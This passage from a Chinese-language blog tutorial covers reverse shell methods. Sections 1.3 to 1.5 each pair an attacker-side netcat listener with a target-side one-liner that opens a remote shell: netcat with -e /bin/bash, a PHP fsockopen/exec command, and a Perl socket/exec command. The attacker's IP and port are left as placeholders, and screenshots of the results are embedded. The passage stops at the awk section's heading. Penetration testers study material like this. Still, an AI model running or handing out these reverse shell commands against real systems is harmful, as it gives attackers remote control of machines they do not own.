<h3 id="13nc反弹"><a class="markdownIt-Anchor" href="#13nc反弹"></a> 1.3.nc反弹</h3>
<p><strong>需要靶机安装NC,且nc需要有-e参数(全功能版本)</strong>,自带版本可能不行需要上传或者安装带-e参数版本</p>
<p>攻击机器命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">nc -lvp 攻击机端口<br></code></pre></td></tr></table></figure>
<p>靶机命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">nc -e /bin/bash 攻击机ip 攻击机端口<br></code></pre></td></tr></table></figure>
<p>效果</p>
<img src="/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/image-20210923172753686.png" alt="image-20210923172753686" style="zoom:80%;">
<img src="/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/image-20210923172814218.png" alt="image-20210923172814218" style="zoom:80%;">
<h3 id="14php反弹"><a class="markdownIt-Anchor" href="#14php反弹"></a> 1.4.php反弹</h3>
<p>攻击机器命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">nc -lvp 攻击机端口<br></code></pre></td></tr></table></figure>
<p>靶机命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">php -r <span class="hljs-string">'$sock=fsockopen("攻击机ip",攻击机端口);exec("/bin/bash -i <&3 >&3 2>&3");'</span> <br></code></pre></td></tr></table></figure>
<p>效果</p>
<img src="/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/image-20210923213837682.png" alt="image-20210923213837682" style="zoom:80%;">
<img src="/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/image-20210923213815351.png" alt="image-20210923213815351" style="zoom:80%;">
<h3 id="15perl反弹shell"><a class="markdownIt-Anchor" href="#15perl反弹shell"></a> <strong>1.5.perl反弹shell</strong></h3>
<p>攻击机器命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">nc -lvp 攻击机端口<br></code></pre></td></tr></table></figure>
<p>靶机命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">perl -e <span class="hljs-string">'use Socket;$i="攻击机ip";$p=攻击机端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'</span><br></code></pre></td></tr></table></figure>
<p>效果</p>
<img src="/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/image-20210924100730572.png" alt="image-20210924100730572" style="zoom:80%;">
<img src="/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/image-20210924100705938.png" alt="image-20210924100705938" style="zoom:80%;">
<h3 id="16awk反弹shell"><a class="markdownIt-Anchor" href="#16awk反弹shell"></a> 1.6.awk反弹shell</h3>